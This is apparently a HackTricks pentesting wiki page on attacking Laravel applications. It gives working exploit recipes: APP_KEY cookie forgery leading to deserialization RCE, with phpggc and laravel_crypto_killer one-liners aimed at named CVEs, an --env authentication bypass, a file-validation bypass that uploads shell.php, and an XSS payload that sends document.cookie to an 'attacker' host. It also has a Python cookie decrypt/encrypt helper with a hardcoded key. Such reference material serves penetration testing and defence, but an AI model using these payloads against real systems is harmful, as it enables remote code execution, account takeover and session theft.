laravel.md (19248B)
1 --- 2 title: "Laravel" 3 section: "Network Services" 4 sectionSlug: "network-services-pentesting" 5 sourcePath: "src/network-services-pentesting/pentesting-web/laravel.md" 6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/network-services-pentesting/pentesting-web/laravel.md" 7 sha: "188de82beb54e70956b2952367a0af91d26758b8" 8 isIndex: false 9 modified: true 10 license: "CC-BY-NC-4.0" 11 --- 12 13 # Laravel 14 15 ## Laravel SQL injection 16 17 Read information about this here: [https://stitcher.io/blog/unsafe-sql-functions-in-laravel](https://stitcher.io/blog/unsafe-sql-functions-in-laravel)<sup>[[13]](#references)</sup> 18 19 --- 20 21 ## APP_KEY & Encryption internals (Laravel >=5.6) 22 23 Laravel uses AES-256-CBC (or GCM) with HMAC integrity under the hood (`Illuminate\Encryption\Encrypter`). 24 The raw ciphertext that is finally **sent to the client** is **Base64 of a JSON object** like: 25 26 ```json 27 { 28 "iv" : "Base64(random 16-byte IV)", 29 "value": "Base64(ciphertext)", 30 "mac" : "HMAC_SHA256(iv||value, APP_KEY)", 31 "tag" : "" // only used for AEAD ciphers (GCM) 32 } 33 ``` 34 35 `encrypt($value, $serialize=true)` will `serialize()` the plaintext by default, whereas 36 `decrypt($payload, $unserialize=true)` **will automatically `unserialize()`** the decrypted value. 37 Therefore **any attacker that knows the 32-byte secret `APP_KEY` can craft an encrypted PHP serialized object and gain RCE via magic methods (`__wakeup`, `__destruct`, β¦)**.<sup>[[1]](#references)[[2]](#references)</sup> 38 39 Minimal PoC (framework β₯9.x): 40 ```php 41 use Illuminate\Support\Facades\Crypt; 42 43 $chain = base64_decode('<phpggc-payload>'); // e.g. phpggc Laravel/RCE13 system id -b -f 44 $evil = Crypt::encrypt($chain); // JSON->Base64 cipher ready to paste 45 ``` 46 Inject the produced string into any vulnerable `decrypt()` sink (route param, cookie, session, β¦). 47 48 --- 49 50 ## laravel-crypto-killer 𧨠51 [laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer) automates the process and adds a convenient **brute-force** mode:<sup>[[3]](#references)</sup> 52 53 ```bash 54 # Encrypt a phpggc chain with a known APP_KEY 55 laravel_crypto_killer.py encrypt -k "base64:<APP_KEY>" -v "$(phpggc Laravel/RCE13 system id -b -f)" 56 57 # Decrypt a captured cookie / token 58 laravel_crypto_killer.py decrypt -k <APP_KEY> -v <cipher> 59 60 # Try a word-list of keys against a token (offline) 61 laravel_crypto_killer.py bruteforce -v <cipher> -kf appkeys.txt 62 ``` 63 64 The script transparently supports both CBC and GCM payloads and re-generates the HMAC/tag field. 65 66 --- 67 68 ## Real-world vulnerable patterns 69 70 | Project | Vulnerable sink | Gadget chain | 71 |---------|-----------------|--------------| 72 | Invoice Ninja β€v5 (CVE-2024-55555) | `/route/{hash}` β `decrypt($hash)` | Laravel/RCE13 | 73 | Snipe-IT β€v6 (CVE-2024-48987) | `XSRF-TOKEN` cookie when `Passport::withCookieSerialization()` is enabled | Laravel/RCE9 | 74 | Crater (CVE-2024-55556) | `SESSION_DRIVER=cookie` β `laravel_session` cookie | Laravel/RCE15 | 75 76 The exploitation workflow is always:<sup>[[1]](#references)[[2]](#references)</sup> 77 1. Obtain or brute-force the 32-byte `APP_KEY`. 78 2. Build a gadget chain with **PHPGGC** (for example `Laravel/RCE13`, `Laravel/RCE9` or `Laravel/RCE15`).<sup>[[4]](#references)</sup> 79 3. Encrypt the serialized gadget with **laravel_crypto_killer.py** and the recovered `APP_KEY`. 80 4. Deliver the ciphertext to the vulnerable `decrypt()` sink (route parameter, cookie, session β¦) to trigger **RCE**. 81 82 Below are concise one-liners demonstrating the full attack path for each real-world CVE mentioned above:<sup>[[1]](#references)[[2]](#references)</sup> 83 84 ```bash 85 # Invoice Ninja β€5 β /route/{hash} 86 php8.2 phpggc Laravel/RCE13 system id -b -f | \ 87 ./laravel_crypto_killer.py encrypt -k <APP_KEY> -v - | \ 88 xargs -I% curl "https://victim/route/%" 89 90 # Snipe-IT β€6 β XSRF-TOKEN cookie 91 php7.4 phpggc Laravel/RCE9 system id -b | \ 92 ./laravel_crypto_killer.py encrypt -k <APP_KEY> -v - > xsrf.txt 93 curl -H "Cookie: XSRF-TOKEN=$(cat xsrf.txt)" https://victim/login 94 95 # Crater β cookie-based session 96 php8.2 phpggc Laravel/RCE15 system id -b > payload.bin 97 ./laravel_crypto_killer.py encrypt -k <APP_KEY> -v payload.bin --session_cookie=<orig_hash> > forged.txt 98 curl -H "Cookie: laravel_session=<orig>; <cookie_name>=$(cat forged.txt)" https://victim/login 99 ``` 100 101 102 ## Mass APP_KEY discovery via cookie brute-force 103 104 Because every fresh Laravel response sets at least one encrypted cookie (`XSRF-TOKEN` and usually `laravel_session`), **public internet scanners (Shodan, Censys, β¦) leak millions of ciphertexts** that can be attacked offline.<sup>[[1]](#references)</sup> 105 106 Key findings of the research published by Synacktiv (2024-2025):<sup>[[1]](#references)[[2]](#references)</sup> 107 * Dataset July 2024 Β» 580 k tokens, **3.99 % keys cracked** (β23 k) 108 * Dataset May 2025 Β» 625 k tokens, **3.56 % keys cracked** 109 * >1 000 servers still vulnerable to legacy CVE-2018-15133 because tokens directly contain serialized data. 110 * Huge key reuse β the Top-10 APP_KEYs are hard-coded defaults shipped with commercial Laravel templates (UltimatePOS, Invoice Ninja, XPanel, β¦). 111 112 The private Go tool **nounours** pushes AES-CBC/GCM brute-force throughput to about 1.5 billion attempts per second, reducing full-dataset cracking to under two minutes.<sup>[[1]](#references)[[2]](#references)</sup> 113 114 115 ## CVE-2024-52301 β HTTP argv/env override β auth bypass 116 117 When PHPβs `register_argc_argv=On` (typical on many distros), PHP exposes an `argv` array for HTTP requests derived from the query string. Recent Laravel versions parsed these βCLI-likeβ args and honored `--env=<value>` at runtime. This allows flipping the framework environment for the current HTTP request just by appending it to any URL:<sup>[[6]](#references)[[7]](#references)</sup> 118 119 - Quick check: 120 - Visit `https://target/?--env=local` or any string and look for environment-dependent changes (debug banners, footers, verbose errors). If the string is reflected, the override is working.<sup>[[8]](#references)</sup> 121 122 - Impact example (business logic trusting a special env): 123 - If the app contains branches like `if (app()->environment('preprod')) { /* bypass auth */ }`, you can authenticate without valid creds by sending the login POST to: 124 - `POST /login?--env=preprod`<sup>[[8]](#references)</sup> 125 126 - Notes: 127 - Works per-request, no persistence. 128 - Requires `register_argc_argv=On` and a vulnerable Laravel version that reads argv for HTTP. 129 - Useful primitive to surface more verbose errors in βdebugβ envs or to trigger environment-gated code paths. 130 131 - Mitigations: 132 - Disable `register_argc_argv` for PHP-FPM/Apache. 133 - Upgrade Laravel to ignore argv on HTTP requests and remove any trust assumptions tied to `app()->environment()` in production routes. 134 135 Minimal exploitation flow (Burp):<sup>[[8]](#references)</sup> 136 137 ```http 138 POST /login?--env=preprod HTTP/1.1 139 Host: target 140 Content-Type: application/x-www-form-urlencoded 141 ... 142 email=a@b.c&password=whatever&remember=0xdf 143 ``` 144 145 --- 146 147 ## CVE-2025-27515 β Wildcard file validation bypass (`files.*`) 148 149 Laravel 10.0β10.48.28, 11.0.0β11.44.0 and 12.0.0β12.1.0 let crafted multipart requests completely skip any rule attached to `files.*` / `images.*`.<sup>[[9]](#references)</sup> The parser that expands wildcard keys could be confused with attacker-controlled placeholders (for example, pre-populating `__asterisk__` segments), so the framework would hydrate `UploadedFile` objects without ever running `image`, `mimes`, `dimensions`, `max`, etc. Once a malicious blob lands in `Storage::putFile*` you can pivot to any of the file-upload primitives already listed in HackTricks (web shells, log poisoning, signed job deserialization, β¦). 150 151 ### Hunting for the pattern 152 153 * Static: `rg -n "files\\.\*" -g"*.php" app/` or inspect `FormRequest` classes for `rules()` returning arrays that contain `files.*`. 154 * Dynamic: hook `Illuminate\Validation\Validator::validate()` via Xdebug or Laravel Telescope in pre-production to log every request that hits the vulnerable rule. 155 * Middleware/route review: endpoints bundling multiple files (avatar importers, document portals, drag-n-drop components) tend to trust `files.*`. 156 157 ### Practical exploitation workflow 158 159 1. Capture a legitimate upload and replay it in Burp Repeater. 160 2. Duplicate the same part but alter the field name so it already includes placeholder tokens (e.g., `files[0][__asterisk__payload]`) or nest another array (`files[0][alt][0]`). On vulnerable builds, that second part never gets validated but still becomes an `UploadedFile` entry. 161 3. Point the forged file to a PHP payload (`shell.php`, `.phar`, polyglot) and force the application to store it in a web-accessible disk (commonly `public/` once `php artisan storage:link` is enabled). 162 163 ```bash 164 curl -sk https://target/upload \ 165 -F 'files[0]=@ok.png;type=image/png' \ 166 -F 'files[0][__asterisk__payload]=@shell.php;type=text/plain' \ 167 -F 'description=lorem' 168 ``` 169 170 Keep fuzzing key names (`files.__dot__0`, `files[0][0]`, `files[0][uuid]` β¦) until you find one that bypasses the validator but still gets written to disk; patched versions reject these crafted attribute names immediately. 171 172 --- 173 174 ## Ecosystem package vulns worth chaining (2025) 175 176 ### CVE-2025-47275 β Auth0-PHP CookieStore tag brute-force (affects `auth0/laravel-auth0`) 177 178 If the project uses **Auth0** login with the default CookieStore backend and `auth0/auth0-php` < **8.14.0**, the GCM tag on the `auth0` session cookie is short enough to brute-force offline. Capture a cookie, change the JSON payload (e.g., set `"sub":"auth0|admin"` and `app_metadata.roles`), brute-force the tag, and replay it to gain a valid Laravel guard session. Quick checks: `composer.lock` shows `auth0/auth0-php` <8.14.0 and `.env` has `AUTH0_SESSION_STORAGE=cookie`.<sup>[[11]](#references)</sup> 179 180 ### CVE-2025-48490 β `lomkit/laravel-rest-api` validation override 181 182 The `lomkit/laravel-rest-api` package before **2.13.0** merges per-action rules incorrectly: later definitions override earlier ones for the same attribute, letting crafted fields skip validation (e.g., overwrite `filter` rules during an `update` action), leading to mass assignment or unvalidated SQL-ish filters.<sup>[[12]](#references)</sup> Practical checks: 183 184 * `composer.lock` lists `lomkit/laravel-rest-api` <2.13.0. 185 * `/_rest/users?filters[0][column]=password&filters[0][operator]==` is accepted instead of rejected, showing filter validation was bypassed. 186 187 --- 188 189 ## Laravel Tricks 190 191 ### Debugging mode 192 193 If Laravel is in **debug mode**, error pages may expose **source code**, configuration, and **sensitive data**.\ 194 For example `http://127.0.0.1:8000/profiles`: 195 196  197 198 This is usually needed for exploiting other Laravel RCE CVEs. 199 200 #### CVE-2024-13918 / CVE-2024-13919 β reflected XSS in Whoops debug pages 201 202 * Affected: Laravel 11.9.0β11.35.1 with `APP_DEBUG=true` (either globally or forced via misconfigured env overrides like CVE-2024-52301).<sup>[[10]](#references)</sup> 203 * Primitive: every uncaught exception rendered by Whoops echoes parts of the request/route **without HTML encoding**, so injecting `<img src>` / `<script>` in a route or request parameter yields stored-on-response XSS before authentication.<sup>[[10]](#references)</sup> 204 * Impact: steal `XSRF-TOKEN`, leak stack traces with secrets, open a browser-based pivot to hit `_ignition/execute-solution` in victim sessions, or chain with passwordless dashboards that rely on cookies. 205 206 Minimal PoC: 207 208 ```php 209 // blade/web.php (attacker-controlled param reflected) 210 Route::get('/boom/{id}', function ($id) { 211 abort(500); 212 }); 213 ``` 214 215 ```bash 216 curl -sk "https://target/boom/%3Cscript%3Efetch('//attacker/x?c='+document.cookie)%3C/script%3E" 217 ``` 218 219 Even if debug mode is normally off, forcing an error via background jobs or queue workers and probing the `_ignition/health-check` endpoint often reveals staging hosts that still expose this chain. 220 221 ### Fingerprinting & exposed dev endpoints 222 223 Quick checks to identify a Laravel stack and dangerous dev tooling exposed in production: 224 225 - `/_ignition/health-check` β Ignition present (debug tool used by CVE-2021-3129). If reachable unauthenticated, the app may be in debug or misconfigured. 226 - `/_debugbar` β Laravel Debugbar assets; often indicates debug mode. 227 - `/telescope` β Laravel Telescope (dev monitor). If public, expect broad information disclosure and possible actions. 228 - `/horizon` β Queue dashboard; version disclosure and sometimes CSRF-protected actions. 229 - `X-Powered-By`, cookies `XSRF-TOKEN` and `laravel_session`, and Blade error pages also help fingerprint. 230 231 ```bash 232 # Nuclei quick probe 233 nuclei -nt -u https://target -tags laravel -rl 30 234 # Manual spot checks 235 for p in _ignition/health-check _debugbar telescope horizon; do curl -sk https://target/$p | head -n1; done 236 ``` 237 238 ### .env 239 240 Laravel deployments commonly store the `APP_KEY` used for encryption, along with other credentials, in `.env`. A path-traversal or file-disclosure vulnerability may expose it with a path such as `/../.env`. 241 242 An enabled debug error page may also disclose environment values. 243 244 Using the secret APP_KEY of Laravel you can decrypt and re-encrypt cookies: 245 246 ### Decrypt Cookie 247 248 <details> 249 <summary>Decrypt/encrypt cookies helper (Python)</summary> 250 251 ```python 252 import os 253 import json 254 import hashlib 255 import sys 256 import hmac 257 import base64 258 import string 259 import requests 260 from Crypto.Cipher import AES 261 from phpserialize import loads, dumps 262 263 #https://gist.github.com/bluetechy/5580fab27510906711a2775f3c4f5ce3 264 265 def mcrypt_decrypt(value, iv): 266 global key 267 AES.key_size = [len(key)] 268 crypt_object = AES.new(key=key, mode=AES.MODE_CBC, IV=iv) 269 return crypt_object.decrypt(value) 270 271 272 def mcrypt_encrypt(value, iv): 273 global key 274 AES.key_size = [len(key)] 275 crypt_object = AES.new(key=key, mode=AES.MODE_CBC, IV=iv) 276 return crypt_object.encrypt(value) 277 278 279 def decrypt(bstring): 280 global key 281 dic = json.loads(base64.b64decode(bstring).decode()) 282 mac = dic['mac'] 283 value = bytes(dic['value'], 'utf-8') 284 iv = bytes(dic['iv'], 'utf-8') 285 if mac == hmac.new(key, iv+value, hashlib.sha256).hexdigest(): 286 return mcrypt_decrypt(base64.b64decode(value), base64.b64decode(iv)) 287 #return loads(mcrypt_decrypt(base64.b64decode(value), base64.b64decode(iv))).decode() 288 return '' 289 290 291 def encrypt(string): 292 global key 293 iv = os.urandom(16) 294 #string = dumps(string) 295 padding = 16 - len(string) % 16 296 string += bytes(chr(padding) * padding, 'utf-8') 297 value = base64.b64encode(mcrypt_encrypt(string, iv)) 298 iv = base64.b64encode(iv) 299 mac = hmac.new(key, iv+value, hashlib.sha256).hexdigest() 300 dic = {'iv': iv.decode(), 'value': value.decode(), 'mac': mac} 301 return base64.b64encode(bytes(json.dumps(dic), 'utf-8')) 302 303 app_key ='HyfSfw6tOF92gKtVaLaLO4053ArgEf7Ze0ndz0v487k=' 304 key = base64.b64decode(app_key) 305 decrypt('eyJpdiI6ImJ3TzlNRjV6bXFyVjJTdWZhK3JRZ1E9PSIsInZhbHVlIjoiQ3kxVDIwWkRFOE1sXC9iUUxjQ2IxSGx1V3MwS1BBXC9KUUVrTklReit0V2k3TkMxWXZJUE02cFZEeERLQU1PV1gxVForYkd1dWNhY3lpb2Nmb0J6YlNZR28rVmk1QUVJS3YwS3doTXVHSlxcL1JGY0t6YzhaaGNHR1duSktIdjF1elxcLzV4a3dUOElZVzMw aG01dGk5MXFkSmQrMDJMK2F4cFRkV0xlQ0REVU1RTW5TNVMrNXRybW9rdFB4VitTcGQ0QlVlR3Vwam1IdERmaDRiMjBQS05VXC90SzhDMUVLbjdmdkUyMnQyUGtadDJHSEIyQm95SVQxQzdWXC9JNWZKXC9VZHI4Sll4Y3ErVjdLbXplTW4yK25pTGxMUEtpZVRIR090RlF0SHVkM0VaWU8yODhtaTRXcVErdUlhYzh4OXNacXJrVytqd1hjQ3FMaDhWeG5NMXFxVXB1b2V2QVFIeFwvakRsd1pUY0h6UUR6Q0UrcktDa3lFOENIeFR0bXIrbWxOM1FJaVpsTWZkSCtFcmd3aXVMZVRKYXl0RXN3cG5EMitnanJyV0xkU0E3SEUrbU0rUjlENU9YMFE0eTRhUzAyeEJwUTFsU1JvQ3d3UnIyaEJiOHA1Wmw1dz09IiwibWFjIjoiNmMzODEzZTk4MGRhZWVhMmFhMDI4MWQzMmRkNjgwNTVkMzUxMmY1NGVmZWUzOWU4ZTJhNjBiMGI5Mjg2NzVlNSJ9') 306 #b'{"data":"a:6:{s:6:\"_token\";s:40:\"vYzY0IdalD2ZC7v9yopWlnnYnCB2NkCXPbzfQ3MV\";s:8:\"username\";s:8:\"guestc32\";s:5:\"order\";s:2:\"id\";s:9:\"direction\";s:4:\"desc\";s:6:\"_flash\";a:2:{s:3:\"old\";a:0:{}s:3:\"new\";a:0:{}}s:9:\"_previous\";a:1:{s:3:\"url\";s:38:\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\";}}","expires":1605140631}\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e' 307 encrypt(b'{"data":"a:6:{s:6:\"_token\";s:40:\"RYB6adMfWWTSNXaDfEw74ADcfMGIFC2SwepVOiUw\";s:8:\"username\";s:8:\"guest60e\";s:5:\"order\";s:8:\"lolololo\";s:9:\"direction\";s:4:\"desc\";s:6:\"_flash\";a:2:{s:3:\"old\";a:0:{}s:3:\"new\";a:0:{}}s:9:\"_previous\";a:1:{s:3:\"url\";s:38:\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\";}}","expires":1605141157}') 308 ``` 309 310 </details> 311 312 ### Laravel Deserialization RCE 313 314 Vulnerable versions: 5.5.40 and 5.6.x through 5.6.29 ([https://www.cvedetails.com/cve/CVE-2018-15133/](https://www.cvedetails.com/cve/CVE-2018-15133/)) 315 316 Details of the deserialization vulnerability are available in the [WithSecure write-up](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/).<sup>[[5]](#references)</sup> 317 318 You can test and exploit it using [https://github.com/kozmic/laravel-poc-CVE-2018-15133](https://github.com/kozmic/laravel-poc-CVE-2018-15133)\ 319 Or you can also exploit it with metasploit: `use unix/http/laravel_token_unserialize_exec` 320 321 ### CVE-2021-3129 322 323 This Ignition debug-mode deserialization-to-RCE chain is documented with exploit material in the Ambionics repository.<sup>[[14]](#references)</sup> 324 325 326 ## References 327 328 - [1] [Laravel: APP_KEY leakage analysis (EN)](https://www.synacktiv.com/en/publications/laravel-appkey-leakage-analysis) 329 - [2] [Laravel : analyse de fuite dβAPP_KEY (FR)](https://www.synacktiv.com/publications/laravel-analyse-de-fuite-dappkey.html) 330 - [3] [laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer) 331 - [4] [PHPGGC β PHP Generic Gadget Chains](https://github.com/ambionics/phpggc) 332 - [5] [CVE-2018-15133 write-up (WithSecure)](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce) 333 - [6] [CVE-2024-52301 advisory β Laravel argv env detection](https://github.com/advisories/GHSA-gv7v-rgg6-548h) 334 - [7] [CVE-2024-52301 PoC β register_argc_argv HTTP argv β --env override](https://github.com/Nyamort/CVE-2024-52301) 335 - [8] [0xdf β HTB Environment (CVEβ2024β52301 env override β auth bypass)](https://0xdf.gitlab.io/2025/09/06/htb-environment.html) 336 - [9] [GHSA-78fx-h6xr-vch4 β Laravel wildcard file validation bypass (CVE-2025-27515)](https://github.com/laravel/framework/security/advisories/GHSA-78fx-h6xr-vch4) 337 - [10] [SBA Research β CVE-2024-13919 reflected XSS in debug-mode error page](http://www.openwall.com/lists/oss-security/2025/03/10/4) 338 - [11] [CVE-2025-47275 β Auth0-PHP CookieStore tag brute-force (laravel-auth0)](https://www.wiz.io/vulnerability-database/cve/cve-2025-47275) 339 - [12] [CVE-2025-48490 β lomkit/laravel-rest-api validation override](https://advisories.gitlab.com/pkg/composer/lomkit/laravel-rest-api/CVE-2025-48490/) 340 - [13] [Unsafe SQL functions in Laravel](https://stitcher.io/blog/unsafe-sql-functions-in-laravel) 341 - [14] [Ambionics Laravel exploits: CVE-2021-3129](https://github.com/ambionics/laravel-exploits)